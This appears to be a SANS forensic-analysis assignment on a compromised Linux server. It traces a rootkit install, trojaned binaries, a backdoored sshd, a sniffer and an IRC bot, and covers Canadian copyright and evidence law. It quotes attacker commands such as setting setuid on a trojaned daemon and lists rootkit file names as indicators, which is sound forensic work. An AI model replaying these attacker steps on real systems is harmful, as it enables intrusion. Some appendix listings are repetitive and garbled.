The install script from s.tar.gz is running. The install script calls the mpstree script with the line “sh mpstree”, then the mpstree script calls the p.ssh script with the line “/p.ssh”. The “p.ssh” script creates the /x directory with the line “mkdir –p $D”, the $D variable is set to”/x” one line before. The libgc.so library and the popauth executable are placed by the p.ssh script.

The mpstree script modifies the /etc/rc.d/rc.sysinit script and runs the weit executable. The weit executable calls the popauth executable. Popauth listens on https, http, and UDP 3049. Popauth and other binaries are infected with the Linux.Jac.8759 virus. See EnCase report on virus infected files. 739 files, including rc.sysint have ctimes (change time) of 1056921729.

EnCase was used to order the files based on last modified time.
Looking at the EnCase modified time sort we see the mech.pid file, (Trojaned IRC server) established at 15:32:59. The mkdir time 15:39:41 (03:39:21) shows us the last trojaned command being put in place. The samba.tgz file is the file downloaded during the nfsd (trojaned ssh running on port 18) session. The time for this was 15:41:42 (03:41:42). Outgoing attacks are initiated. Our suspect mistypes and forgets to stop the .bash_history file from logging. It, along with the sebek log provide evidence on the exact commands typed.

The hostname file had it’s mtime and ctime changed at 16:59:16. One of the commands run during the attacks was ‘netstat’. The ‘netstat’ command was one of the files successfully trojaned. The ‘netstat’ command was exported and the Norton anti-virus program showed the file contained the Linux.RST.B virus. The ‘hostname’ file was exported and it also had the virus. The running of the trojaned netstat command infected the hostname file causing the change in mtime and ctime.

The next mtime written is for .bash_history at 17:21:23 and the xxh_r (trojaned ssh daemon nfsd random seed file) time at 17:25:23. The lpd.usr (19:00:27) and MrIdiot.seen (19:10:27) files are both used for the IRC BOT server. The last inbound
connection to the IRC server is shown in the tcpdump log output below.

```
16:52:24.823540 195.54.102.4.6667 > 192.168.2.15.1143: P 28727:28812(85) ack 1171 win 2896
<nop,nop,timestamp 120259573 53659921> (DF)
```

### 2.7. Recover Deleted Files

As indicated the log server file for the Jun 29 date were not immediately obtained. The log file rotation was set to rotate every week, retaining only 4 weeks before being written over. By the time the error was uncovered the logging event for June 29, had been overwritten. To recover events from the Jun 29 time period a dd image was taken of the drive, see Tag #3. The dd image of the var partition was acquired into EnCase and a search expression for “Jun 29” was created. See Figure 20.

![Figure 20. EnCase keyword string input](image-url)

The results of the search string are shown by selecting Search Hits. To export the deleted data into a file, the selection is highlighted by dragging the cursor or right clicking and selecting export. Under export you have options to enter the ranges you wish to export to a file. Figure 21 shows the search string found in Unallocated Clusters. The data start and length was used to export the deleted log data to an output file.
Figure 21. EnCase search Hit screen.

Figure 22. Export of deleted data.

Other data recovery was done using tcpflow on the tcpdump data streams from the log evidence gathered from tag item #3.

The syntax for recovering the data streams through these sessions was:

```bash
#> tcpflow -r tcpdump.log.1056866401 port 1058
```

The output is two streams:

- XXX.XXX.119.141.00080-192.168.002.015.01058
- 192.168.002.015.01058-XXX.XXX.119.141.00080

Editing out the http header information from the first stream left the "r" binary file that was used to elevate privileges to root on the system.
2.8.  String Search

From the live response, log analysis, and media analysis keywords were identified. The lists below were compiled throughout the analysis. As shown above, the string search for Jun 29 on the `/var` partition provided supporting evidence on the timing of events and the nature of the activity.

The keywords from live response were compiled based on the difference in a live response run on a normal system and the live response run on the compromised Linux 7.3 server. The keywords were used to narrow the search parameters and target the analysis. This string search / keyword search targeting saved time and narrowed the search for the facts.

**Live response**

Keywords of interest
- minilogd
- session_mm_apache0.sem
- weit
- popauth
- nfsd

Paths of interest
- `/tmp/.s`
- `/.x`

Files of interest
- `/var/log/httpd/access_log`
- `/var/log/httpd/ssl_request_log`
- `/var/log/httpd/error_log`
- `/usr/bin/weit`
- `/var/run/httpd.mm.8124.sem`
- `/tmp/session_mm_apache0.sem`
- `/.x/popauth`
- `/dev/hdx1`
- `/usr/sbin/nfsd`
- `/tmp/.s/nfsd`
- `/sbin/sshd_config`

Other items of interest
- Date processes started Jun 29
- Defunct processes
  - weit,
  - `chmod +s /usr/sbin/nfsd`,
  - `chmod`
  - `mkdir`
  - `hostname`
  - `ls`

**Log file analysis**

Keywords of interest
- `s.tar.gz`
- `linsniffer`
- `./addr`
• .1file
• .1logz
• .1proc
• xxh_h
• xxh_r
• nfsdi
• init.sshd
• popauth
• weit

Paths of interest
• /tmp/.s
• /tmp/.s/nfsd
• /tmp/.s/sshd
• /tmp/.font - unix
• /tmp/.font - unix/.X11

Files of interest
• r
• s.tar.gz
  .s/.s/du .s/find .s/ls
  .s/killall .s/linsniffer .s/patree
  .s/ps .s/top .s/1addr
  .s/.1file .s/.1logz .s/.1proc
  .s/clean .s/nfsd/ .s/nfsd/nfsdi
  .s/sshd/.s/sshd/init.sshd .s/sshd/sshd_key
  .s/sshd/.s/sshd-sshd_config .s/install

• bot.tar.gz
  .X11-pipe/.X11-pipe/COPYING .X11-pipe/README
  .X11-pipe/.X11-pipe/VERSIONS .X11-pipe/Makefile
  .X11-pipe/.X11-pipe/mech.pid .X11-pipe/lpd.help
  .X11-pipe/.X11-pipe/randfiles/ .X11-pipe/randfiles/ranaway.e
  .X11-pipe/.X11-pipe/randfiles/randinsult.e
  .X11-pipe/.X11-pipe/randfiles/randkicks.e
  .X11-pipe/.X11-pipe/randfiles/randnicks.e
  .X11-pipe/.X11-pipe/randfiles/randpickup.e
  .X11-pipe/.X11-pipe/randfiles/randsay.e
  .X11-pipe/.X11-pipe/randfiles/randversions.e
  .X11-pipe/.X11-pipe/src/.X11-pipe/src/Makefile.in
  .X11-pipe/.X11-pipe/src/commands.c
  .X11-pipe/.X11-pipe/src/config.h.in
  .X11-pipe/.X11-pipe/src/debug.c
  .X11-pipe/.X11-pipe/src/dcc.c
  .X11-pipe/.X11-pipe/src/dcc.h
  .X11-pipe/.X11-pipe/src/debug.o
  .X11-pipe/.X11-pipe/src/dcc.o
  .X11-pipe/.X11-pipe/src/dcc.o
  .X11-pipe/.X11-pipe/src/dcc.o
  .X11-pipe/.X11-pipe/src/dcc.o
  .X11-pipe/.X11-pipe/src/dcc.o
  .X11-pipe/.X11-pipe/src/dcc.o
  .X11-pipe/.X11-pipe/src/dcc.o
  .X11-pipe/.X11-pipe/src/dcc.o
  .X11-pipe/.X11-pipe/src/dcc.o
  .X11-pipe/.X11-pipe/src/dcc.o
  .X11-pipe/.X11-pipe/src/dcc.o
  .X11-pipe/.X11-pipe/src/dcc.o
  .X11-pipe/.X11-pipe/src/dcc.o
  .X11-pipe/.X11-pipe/src/dcc.o
  .X11-pipe/.X11-pipe/src/dcc.o
  .X11-pipe/.X11-pipe/src/dcc.o
  .X11-pipe/.X11-pipe/src/dcc.o
  .X11-pipe/.X11-pipe/src/dcc.o
  .X11-pipe/.X11-pipe/src/dcc.o

• samba.tgz
  ./samba/samba
  ./samba/samba
  ./samba/sys
2.9. Conclusions

The analysis of the logs and tools used provided some interesting insights into the subject. The initial connections showed some scripted activity, worm like. The subject scripts initially held the connection but dropped. The subject did not pay attention to the logging their own install script provided. If they had, they would have seen the fact the sniffer program was not completely installed.

Logging from the IRC sessions demonstrated the need to have bragging rights over how many machines someone has compromised.

```
:stockholm.SE.eu.Undernet.org 251 MrIdiot :There are 52305 users and 71548 invisible on 36 servers
:stockholm.SE.eu.Undernet.org 252 MrIdiot 79 :operator(s) online
:stockholm.SE.eu.Undernet.org 253 MrIdiot 213 :unknown connection(s)
:stockholm.SE.eu.Undernet.org 254 MrIdiot 46487 :channels formed
:stockholm.SE.eu.Undernet.org 255 MrIdiot :I have 9236 clients and 1 servers
:stockholm.SE.eu.Undernet.org NOTICE MrIdiot :Highest connection count: 9510 (9509 clients)
:stockholm.SE.eu.Undernet.org 375 MrIdiot :- stockholm.SE.eu.Undernet.org Message of the Day -
:stockholm.SE.eu.Undernet.org 372 MrIdiot :Type /MOTD to read the AUP before continuing using this service.
:stockholm.SE.eu.Undernet.org 372 MrIdiot :The message of the day was last changed: 2003-1-21 16:57
:stockholm.SE.eu.Undernet.org 376 MrIdiot :End of /MOTD command.
:stockholm.SE.eu.Undernet.org NOTICE MrIdiot :on 1 ca 1(4) ft 10(10) tr WHOIS MrIdiot
:stockholm.SE.eu.Undernet.org 311 MrIdiot MrIdiot -Idiot XXX.XXX.5.35 * :Idiot
:stockholm.SE.eu.Undernet.org 311 MrIdiot MrIdiot on stockholm.SE.eu.Undernet.org
:stockholm.SE.eu.Undernet.org 312 MrIdiot MrIdiot :Bredbandsbolaget's IRC Server
:stockholm.SE.eu.Undernet.org 317 MrIdiot MrIdiot 0 1056922387 :seconds idle, signon time
:stockholm.SE.eu.Undernet.org 318 MrIdiot MrIdiot :End of /WHOIS list.
```

Our subject(s) are likely learning the ropes, and are attempting to prove themselves to others in their group by hacking into as many computers as possible. The suspect is not a detail person as seen in the mistyping of commands such as "unset HISTFILES" and doesn't review his/her own install logs.

Improvements made to the Live Response procedure are;

- File listing has been changed from listing only the /proc file system to listing all files and directories recursively. Changed from `ls -al /proc` to `ls -alR /`.
- A second file listing has been added that will parse out the inode listings for the file system. Added `ls -aliR /`. 
Section 3

3. Legal Issues of Incident Handling

3.1. Questions:

Question. Based upon the type of material John Price was distributing, what if any, laws have been broken based upon the distribution?

The reference to Ripped MP3 files at the various website and the message to Mike are evidence of copyright infringement. The sections of the Canadian copyright law that would be applied to this are civil and criminal. In the “Copyright Act of Canada, Part IV – Remedies S.34,S35,S38.1” we find the following:

Civil Remedies

34. (1) Where copyright has been infringed, the owner of the copyright is, subject to this Act, entitled to all remedies by way of injunction, damages, accounts, delivery up and otherwise that are or may be conferred by law for the infringement of a right.

(2) In any proceedings for an infringement of a moral right of an author, the court may grant to the author or to the person who holds the moral rights by virtue of subsection 14.2(2) or (3), as the case may be, all remedies by way of injunction, damages, accounts, delivery up and otherwise that are or may be conferred by law for the infringement of a right.

(3) The costs of all parties in any proceedings in respect of the infringement of a right conferred by this Act shall be in the discretion of the court.

(4) The following proceedings may be commenced or proceeded with by way of application or action and shall, in the case of an application, be heard and determined without delay and in a summary way:

(a) proceedings for infringement of copyright or moral rights;
(b) proceedings taken under section 44.1, 44.2 or 44.4; and
(c) proceedings taken in respect of

(i) a tariff certified by the Board under Part VII or VIII, or
(ii) agreements referred to in section 70.12.

35. (1) Where a person infringes copyright, the person is liable to pay such damages to the owner of the copyright as the owner has suffered due to the infringement and, in addition to those damages, such part of the profits that the infringer has made from the infringement and that were...
not taken into account in calculating the damages as the court considers just.

(2) In proving profits,

(a) the plaintiff shall be required to prove only receipts or revenues derived from the infringement; and

(b) the defendant shall be required to prove every element of cost that the defendant claims.

(c) in any other case, if the court is of the opinion that the interests of justice do not require the copyright owner to be a party.

38.1 (1) Subject to this section, a copyright owner may elect, at any time before final judgment is rendered, to recover, instead of damages and profits referred to in subsection 35(1), an award of statutory damages for all infringements involved in the proceedings, with respect to any one work or other subject-matter, for which any one infringer is liable individually, or for which any two or more infringers are liable jointly and severally, in a sum of not less than $500 or more than $20,000 as the court considers just.

Depending on intent and cooperation the fines faced by the defendant in civil court can be expensive. The “Criminal Remedies” section carry not only fines but the added possibility of jail time. The section of the “Copyright Act” that applies to the Criminal aspect of Copyright infringement is “Copyright Act of Canada, Part IV – Remedies S.42”. In this section we find the statement “Every person who knowingly”. The factor that determines the pressing of Criminal charges would be “intent”. For our case we see intent in the letter written to Mike. The topic of discussion is on “advanced orders for the next run”. The actions being taken are deliberate, the factors that show they know it’s illegal and wrong are things like hiding the MP3 access sites in slack space of a file. The other factor is the alteration of the bmap source code. Below are some sections from the Criminal Remedies area of the Copyright Act of Canada:

**Criminal Remedies**

42. (1) Every person who knowingly

(a) makes for sale or rental an infringing copy of a work or other subject-matter in which copyright subsists,

(b) sells or rents out, or by way of trade exposes or offers for sale or rental, an infringing copy of a work or other subject-matter in which copyright subsists,

(c) distributes infringing copies of a work or other subject-matter in which copyright subsists, either for the purpose of trade or to such an extent as to affect prejudicially the owner of the copyright,

(d) by way of trade exhibits in public an infringing copy of a work or other subject-matter in which copyright subsists, or

---

(e) imports for sale or rental into Canada any infringing copy of a work or other subject-matter in which copyright subsists

is guilty of an offence and liable

(f) on summary conviction, to a fine not exceeding twenty-five thousand dollars or to imprisonment for a term not exceeding six months or to both, or

(g) on conviction on indictment, to a fine not exceeding one million dollars or to imprisonment for a term not exceeding five years or to both.

(4) Proceedings by summary conviction in respect of an offence under this section may be instituted at any time within, but not later than, two years after the time when the offence was committed.

If found guilty of a summary conviction under section 42 of the Copyright act the suspect faces fines up to $25,000.00 and a jail term of 6 months. For a summary conviction there is a two year time limit. If you are convicted on indictment the fines are up to 1 million dollars and jail for up to 5 years.

Question. What would the appropriate steps be to take if you discovered this information on your systems?

The information on the system is a violation of the Copyright Act as indicated above. The information must be handled as any other evidence. The requirements for electronic evidence gathering are indicated in the Canada Evidence Act – Authentication of Electronic Documents – S.31.1, - Application of Best Evidence Rule-Electronic documents /printouts – S.31.2 and Presumption of Integrity – S.31.3. In accordance with the above sections the “burden of proving its authenticity” is required by the person wishing to admit the evidence. The evidence is required to support the claim that the document is what it claims to be.

The method used to gather the evidence must be verified. Note taking and using two people ensures there is independent verification and integrity of the evidence. The evidence gathering must include the identification and verification processes. The use of MD5 checksum hashes are meant to prove authenticity and integrity of the evidence. Placing the seized media into a secure area and using evidence bags initialed by the investigators maintains the evidence chain. The hardware write block device used for the image ensure the evidence is not modified.

The application of the best-evidence rule (S31.2) allows for the use of printout to be used as evidence of an electronic document. Printouts of evidence reports ensure its availability and provide backup in cases were the electronic media may be unavailable or destroyed.
Question. In the event your corporate counsel decides to not pursue the matter any further at this point, what steps should you take to ensure any evidence you collect can be admissible in proceedings in the future should the situation change?

To ensure the evidence gathered could be admissible in the future the same standards for evidence gathering that law enforcement uses would be applied. The evidence would be gathered by two people and documented. A live response would be conducted to ensure the running processes are recorded. Next, the box would be either shutdown properly or unplugged, depending on the type of Operating system being dealt with. The note taking by the two investigators must include dates, times, commands run, MD5 hashes of files and evidence gathered. Initialing of all evidence and the use of evidence bags that are sealed and initialed. All evidence gathered would be stored in a secure (locked) location.

Other provisions of the Criminal Code for gathering the evidence are covered in the Canada Evidence Act. The sections of interest are (31.1) Authentication of Electronic Documents, (31.2) Application of Best Evidence Rule-Electronic Documents and (S31.3) Presumption of Integrity. Refer to the section above.

Question. How would your actions change if your investigation disclosed that John Price was distributing child pornography?

Child pornography is a serious criminal offense. Corporate counsel would be advised then the authorities would be contacted immediately. The provisions in the Criminal Code of Canada provide clear guidelines on the action to be taken. (see Appendix G for complete listing of the Criminal Code of Canada pertaining to Child Pornography).

The Child pornography section of the Criminal Code of Canada is section 163.1. Item 3 under section 163.1 states:

(3) Every person who transmits, makes available, distributes, sells, imports, exports or possesses for the purpose of transmission, making available, distribution, sale or exportation any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding ten years; or

(b) an offence punishable on summary conviction.

4) Every person who possesses any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding five years; or

(b) an offence punishable on summary conviction.
(b) an offence punishable on summary conviction.

(4.1) Every person who accesses any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding five years; or

(b) an offence punishable on summary conviction.

The provisions in section 163.1 (3) allow the company hosting to be charged if immediate action is not taken.

The machine in question would be imaged following the forensic methodology outlined below.

- Two investigators present.
- Extensive note taking, including dates and times, commands run.
- MD5 checksums on the evidence.
- Strong chain of evidence through the use of evidence bags and initialed seals. Secure storage of all evidence.

The preference for who gathers the evidence would be to gather the evidence and wait for law enforcement to execute a proper Search warrant. To ensure due process law enforcement is required to obtain a search warrant under the Criminal Code of Canada, S.487 (1) a-c, and S.487(2.1) a-d & (2.2) a-c. It states:

487. (1) A justice who is satisfied by information on oath in Form 1 that there are reasonable grounds to believe that there is in a building, receptacle or place

(a) anything on or in respect of which any offence against this Act or any other Act of Parliament has been or is suspected to have been committed,

b) anything that there are reasonable grounds to believe will afford evidence with respect to the commission of an offence, or will reveal the whereabouts of a person who is believed to have committed an offence, against this Act or any other Act of Parliament,

(c) anything that there are reasonable grounds to believe is intended to be used for the purpose of committing any offence against the person for which a person may be arrested without warrant, or

may at any time issue a warrant authorizing a peace officer or a public officer who has been appointed or designated to administer or enforce a federal or provincial law and whose duties include
the enforcement of this Act or any other Act of Parliament and who is named in the warrant.

(2.1) A person authorized under this section to search a computer system in a building or place for data may

(a) use or cause to be used any computer system at the building or place to search any data contained in or available to the computer system;

(b) reproduce or cause to be reproduced any data in the form of a print-out or other intelligible output;

(c) seize the print-out or other output for examination or copying; and

(d) use or cause to be used any copying equipment at the place to make copies of the data.

(2.2) Every person who is in possession or control of any building or place in respect of which a search is carried out under this section shall, on presentation of the warrant, permit the person carrying out the search

(a) to use or cause to be used any computer system at the building or place in order to search any data contained in or available to the computer system for data that the person is authorized by this section to search for;

(b) to obtain a hard copy of the data and to seize it; and

(c) to use or cause to be used any copying equipment at the place to make copies of the data.\(^\text{12}\)

Once the search warrant was executed by Law Enforcement the evidence would be turned over to Law Enforcement.

Appendices

Appendix A

Prog file strings listing

Strings dump – file prog, from Linux 7.3 VMware workstation.

<table>
<thead>
<tr>
<th>PTRh</th>
<th>QVhx</th>
<th>h0=</th>
</tr>
</thead>
<tbody>
<tr>
<td>hK=</td>
<td>h0=</td>
<td>0hT=</td>
</tr>
<tr>
<td>h0=</td>
<td>0he=</td>
<td>8-tx</td>
</tr>
<tr>
<td>h0=</td>
<td>h0=</td>
<td>h1&gt;</td>
</tr>
<tr>
<td>h=&gt;</td>
<td>hP&gt;</td>
<td>0hm&gt;</td>
</tr>
<tr>
<td>h0=</td>
<td>h0=</td>
<td>h-?</td>
</tr>
<tr>
<td>h7?</td>
<td>h7?</td>
<td>hH?</td>
</tr>
<tr>
<td>hh?</td>
<td>PhI?</td>
<td>hI?</td>
</tr>
<tr>
<td>hu?</td>
<td>h?</td>
<td>h' ?</td>
</tr>
<tr>
<td>hg?</td>
<td>hn?</td>
<td>hs?</td>
</tr>
<tr>
<td>hy?</td>
<td>Ph @</td>
<td>h@</td>
</tr>
<tr>
<td>0h A</td>
<td>0h@A</td>
<td>0h B</td>
</tr>
<tr>
<td>0h B</td>
<td>0h&amp;C</td>
<td>0h5C</td>
</tr>
<tr>
<td>0hDC</td>
<td>0hXC</td>
<td>0h_C</td>
</tr>
<tr>
<td>0hbC</td>
<td>hhC</td>
<td>0hnC</td>
</tr>
<tr>
<td>hxC</td>
<td>h, D</td>
<td>0h7D</td>
</tr>
<tr>
<td>0h`D</td>
<td>0h_C</td>
<td>0hbC</td>
</tr>
<tr>
<td>hxC</td>
<td>h, D</td>
<td>0h-E</td>
</tr>
<tr>
<td>h8I</td>
<td>hdI</td>
<td>hxI</td>
</tr>
<tr>
<td>hJ</td>
<td>hCJ</td>
<td>h`J</td>
</tr>
<tr>
<td>h K</td>
<td>PhAK</td>
<td>PhHK</td>
</tr>
<tr>
<td>hL</td>
<td>hbK</td>
<td>huK</td>
</tr>
<tr>
<td>hbk</td>
<td>huK</td>
<td>hbk</td>
</tr>
<tr>
<td>huk</td>
<td>PhHK</td>
<td>hHK</td>
</tr>
<tr>
<td>h L</td>
<td>h M</td>
<td>h:M</td>
</tr>
<tr>
<td>hKM</td>
<td>h'M</td>
<td>RPSQ</td>
</tr>
<tr>
<td>hM</td>
<td>RPSQ</td>
<td>h0N</td>
</tr>
<tr>
<td>RPSQ</td>
<td>hN</td>
<td>RPSQ</td>
</tr>
<tr>
<td>hN</td>
<td>hM</td>
<td>p@hxn</td>
</tr>
<tr>
<td>h8N</td>
<td>hM</td>
<td>h@O</td>
</tr>
<tr>
<td>h@O</td>
<td>h^}</td>
<td>X^}</td>
</tr>
<tr>
<td>[^}</td>
<td>[^}</td>
<td>tY9u</td>
</tr>
<tr>
<td>.]</td>
<td>L[^}</td>
<td>&lt; v61</td>
</tr>
<tr>
<td>vg;</td>
<td>s=;</td>
<td>PSh</td>
</tr>
<tr>
<td>[^}</td>
<td>X$SV</td>
<td>VPS</td>
</tr>
<tr>
<td>[^}</td>
<td>[^}</td>
<td>[^}</td>
</tr>
<tr>
<td>&lt;bt!&lt;b</td>
<td>RPSW</td>
<td>/FBH-</td>
</tr>
<tr>
<td>[^}</td>
<td>;C tU</td>
<td>t$QPSV</td>
</tr>
<tr>
<td>PVRs</td>
<td>;S t&lt;</td>
<td>[^}</td>
</tr>
<tr>
<td>G +G</td>
<td>G +G</td>
<td>t;'</td>
</tr>
<tr>
<td>V +V</td>
<td>FDHP</td>
<td>[^}</td>
</tr>
<tr>
<td>[^}</td>
<td>t PS</td>
<td>VPRQ</td>
</tr>
<tr>
<td>[^}</td>
<td>VPRQ</td>
<td>~*PSV</td>
</tr>
<tr>
<td>CDHP</td>
<td>[^}</td>
<td>F0+V</td>
</tr>
<tr>
<td>[^}</td>
<td>VSPQ)</td>
<td>~VQSV</td>
</tr>
<tr>
<td>Kevin Miller - Sans GCFA Assignment - v1.4</td>
<td>Page 63</td>
<td></td>
</tr>
<tr>
<td>------------------------------------------</td>
<td>--------</td>
<td></td>
</tr>
</tbody>
</table>

| Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 | © SANS Institute 2004, Author retains full rights. | Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46 | © SANS Institute 2004, Author retains full rights. |

As part of GIAC practical repository.

© SANS Institute 2004. Author retains full rights.
PVh|[^_]
\[^_\]
RPh` QSVW
\[^_\]
\[^_\]
tiPh
j+;M \[^_\]
< v;/l uc;u s=u
j+;M \[^_\]
< v;/l uc;u s=u
\[^_\]
t%Pj
0< w
-3SVRR t0Wj 0< v
\[^_\]
t%Pj
0< w< v$
VUUU
t%Pj 0< v
\[^_\]
0< w
< v$
VUUU
0< v
t Nj
t%Pj 0< v
\[^_\]
0< w
t Nj;
u^9u
\[^_\]
mft_log_init mft_getopt
invalid index %d
argv[%d] is NULL
no index
% is a well-formed argument
flagized option invocation
examining a filename or url!
flag-
matched against an enum val
arg matches against %s
matches against %s
bd-server
MFT_LOG_THRESH
error
branch
Mismatch: %s
%d
Mismatch: %s
valid value for enum
true
info
false
branch
progress
entry
exit
mft_log_shutdown unspecified
mft_log_shutdown unspecified
entry
exit
false
false
false
Usage: %s [OPTION]...
Any of the valid values for
\fB--\%s\fR can be supplied
directly as options. For
instance, \fB--\%s\fR can be
used in place of \fB--
%e=\%s\fR.
Report bugs to %s.
Kevin Miller - Sans GCFA Assignment – v1.4

```plaintext
--%s %s
--%s <filename> %s
> %s
  %s %s
    &lt;%s-filename&gt;

<tag>--%s&lt;/tag> %s

<tag>--%s &lt;int&gt;&lt;/tag&gt; %s
%&lt;/tag&gt; %s
</tag>&lt;/tag&gt; %s

operate on ...
progress
error
logging threshold ...
verbose
label
test for fragmentation
(retuns 0 if file is fragmented)
frag
test (returns 0 if exist)
display data
operation to perform on files
sgml
help
autogenerate document ...
use block-list knowledge to
perform special operations on files
off_t too small!
try '--help' for help.

07/15/03
how did we get here?
invalid option: %s
no filename. try '--help' for help.
%s is not a regular file.
Unable to determine blocksize:
error mapping block %d (%s)
read error

file size was: %ld
seek error
slack size: %d
# File: %s Location: %Ld
size: %d
%s does not have slack
bmap_get_slack_block

%s has slack
%s does not have fragmentation
NULL value for slack_block
error getting block count
error mapping block %d.
ioctl failed with %s
unable to stat fd

gettings from block %d
block size: %d

stuffing block %d
%s has slack
%s has fragmentation

error getting block count
fd has no blocks
error mapping block %d.
block returned 0
unable to determine

---
```

Kevin Miller - Sans GCFA Assignment – v1.4

computed block count: %d
filesystem blocksize
stat reports %d blocks: %d
blocksize
bmap_map_block
null block while mapping
block %d.

NULL filename supplied
Unable to stat file: %s
%s is not a regular file.

unable to determine raw device of %s
Unable to stat raw device %s
device mismatch 0x%x != 0x%:

unable to open raw device %s
raw fd is %d

bogowipe
write error

bmap_get_block_size
bmap_raw_open

bmap_raw_close
/dev/sdz12  /dev/sdz11  /dev/sdz10
/dev/sdz1   /dev/sdz    /dev/sdy9
/dev/sdy8   /dev/sdy7   /dev/sdy6
/dev/sdy5   /dev/sdy4   /dev/sdy3
/dev/sdy2   /dev/sdy15  /dev/sdy14
/dev/sdy13  /dev/sdy12  /dev/sdy11
/dev/sdy10  /dev/sdy1   /dev/sdy
/dev/sdy9   /dev/sdy8   /dev/sdx7
/dev/sdx6   /dev/sdx5   /dev/sdx4
/dev/sdx3   /dev/sdx2   /dev/sdx15
/dev/sdx14  /dev/sdx13  /dev/sdx12
/dev/sdx11  /dev/sdx10  /dev/sdx1
/dev/sdx    /dev/sdw9   /dev/sdw8
/dev/sdw7   /dev/sdw6   /dev/sdw5
/dev/sdw4   /dev/sdw3   /dev/sdw2
/dev/sdw15  /dev/sdw14  /dev/sdw13
/dev/sdw12  /dev/sdw11  /dev/sdw10
/dev/sdw1   /dev/sdw    /dev/sdv9
/dev/sdv8   /dev/sdv7   /dev/sdv6
/dev/sdv5   /dev/sdv4   /dev/sdv3
/dev/sdv2   /dev/sdv15  /dev/sdv14
/dev/sdv13  /dev/sdv12  /dev/sdv11
/dev/sdv10  /dev/sdv1   /dev/sdv
/dev/sdv9   /dev/sdv8   /dev/sdv7
/dev/sdv6   /dev/sdv5   /dev/sdv4
/dev/sdv3   /dev/sdv2   /dev/sdv1
/dev/sdu15  /dev/sdt14  /dev/sdt13
/dev/sdt12  /dev/sdt11  /dev/sdt10
/dev/sdt1   /dev/sdt    /dev/sds9
/dev/sds8   /dev/sds7   /dev/sds6
/dev/sds5   /dev/sds4   /dev/sds3
/dev/sds2   /dev/sds15  /dev/sds14
/dev/sds13  /dev/sds12  /dev/sds11
/dev/sds10  /dev/sds1   /dev/sds
/dev/sdr9   /dev/sdr8   /dev/sdr7
/dev/sdr6   /dev/sdr5   /dev/sdr4
/dev/sdr3   /dev/sdr2   /dev/sdr15
/dev/sdr14  /dev/sdr13  /dev/sdr12
/dev/sdr11  /dev/sdr10  /dev/sdr1
/dev/sdr    /dev/sdq9   /dev/sdq8
/dev/sdq7   /dev/sdq6   /dev/sdq5
/dev/sdq4   /dev/sdq3   /dev/sdq2
/dev/sdq15  /dev/sdq14  /dev/sdq13
/dev/sdq12  /dev/sdq11  /dev/sdq10
/dev/sdq1   /dev/sdq    /dev/sdp9
/dev/sdp8   /dev/sdp7   /dev/sdp6
/dev/sdp5   /dev/sdp4   /dev/sdp3
/dev/sdp2   /dev/sdp15  /dev/sdp14
/dev/sdp13  /dev/sdp12  /dev/sdp11
/dev/sdp10  /dev/sdp1   /dev/sdp
/dev/sdo9   /dev/sdo8   /dev/sdo7
/dev/sdo6   /dev/sdo5   /dev/sdo4
/dev/sdo3 /dev/sdo2 /dev/sdo15
/dev/sdo14 /dev/sdo13 /dev/sdo12
/dev/sdo11 /dev/sdo10 /dev/sdo1
/dev/sdo /dev/sdn9 /dev/sdn8
/dev/sdn7 /dev/sdn6 /dev/sdn5
/dev/sdn4 /dev/sdn3 /dev/sdn2
/dev/sdn15 /dev/sdn14 /dev/sdn13
/dev/sdn12 /dev/sdn11 /dev/sdn10
/dev/sdn1 /dev/sdn /dev/sdm9
/dev/sdn8 /dev/sdm7 /dev/sdm6
/dev/sdn5 /dev/sdm4 /dev/sdm3
/dev/sdn2 /dev/sdm15 /dev/sdm14
/dev/sdn13 /dev/sdm12 /dev/sdm11
/dev/sdn10 /dev/sdm1 /dev/sdm
/dev/sd19 /dev/sd18 /dev/sd17
/dev/sd16 /dev/sd15 /dev/sd14
/dev/sd13 /dev/sd12 /dev/sd115
/dev/sd114 /dev/sd113 /dev/sd112
/dev/sd111 /dev/sd110 /dev/sd11
/dev/sd1 /dev/sdk9 /dev/sdk8
/dev/sdk7 /dev/sdk6 /dev/sdk5
/dev/sdk4 /dev/sdk3 /dev/sdk2
/dev/sdk15 /dev/sdk14 /dev/sdk13
/dev/sdk12 /dev/sdk11 /dev/sdk10
/dev/sdk1 /dev/sdk /dev/sdj9
/dev/sdj8 /dev/sdj7 /dev/sdj6
/dev/sdj5 /dev/sdj4 /dev/sdj3
/dev/sdj2 /dev/sdj15 /dev/sdj14
/dev/sdj13 /dev/sdj12 /dev/sdj11
/dev/sdj10 /dev/sdj1 /dev/sdj
/dev/sd9 /dev/sdi8 /dev/sdi7
/dev/sd16 /dev/sdi5 /dev/sdi4
/dev/sd13 /dev/sdi2 /dev/sdi15
/dev/sdi14 /dev/sdi13 /dev/sdi12
/dev/sdi11 /dev/sdi10 /dev/sdi1
/dev/sdi /dev/sdh9 /dev/sdh8
/dev/sdh7 /dev/sdh6 /dev/sdh5
/dev/sdh4 /dev/sdh3 /dev/sdh2
/dev/sdh15 /dev/sdh14 /dev/sdh13
/dev/sdh12 /dev/sdh11 /dev/sdh10
/dev/sdh1 /dev/sdh /dev/sdg9
/dev/sdq8 /dev/sdg7 /dev/sdg6
/dev/sdq5 /dev/sdg4 /dev/sdg3
/dev/sdq2 /dev/sdq15 /dev/sdg14
/dev/sdq13 /dev/sdq12 /dev/sdq11
/dev/sdq10 /dev/sdq1 /dev/sdg
/dev/sdf9 /dev/sdf8 /dev/sdf7
/dev/sdf6 /dev/sdf5 /dev/sdf4
/dev/sdf3 /dev/sdf2 /dev/sdf15
/dev/sdf14 /dev/sdf13 /dev/sdf12
/dev/sdf11 /dev/sdf10 /dev/sdf1
/dev/sdf /dev/sde9 /dev/sde8
/dev/sde7 /dev/sde6 /dev/sde5
/dev/sde4 /dev/sde3 /dev/sde2
/dev/sde15 /dev/sde14 /dev/sde13
/dev/sde12 /dev/sde11 /dev/sde10
/dev/sde1 /dev/sde /dev/sdxx9
/dev/sddx8 /dev/sddx7 /dev/sddx6
/dev/sddx5 /dev/sddx4 /dev/sddx3
/dev/sddx2 /dev/sddx15 /dev/sddx14
/dev/sddx13 /dev/sddx12 /dev/sddx11
/dev/sddx10 /dev/sddx9 /dev/sddx
/dev/sddw9 /dev/sddw8 /dev/sddw7
/dev/sddw6 /dev/sddw5 /dev/sddw4
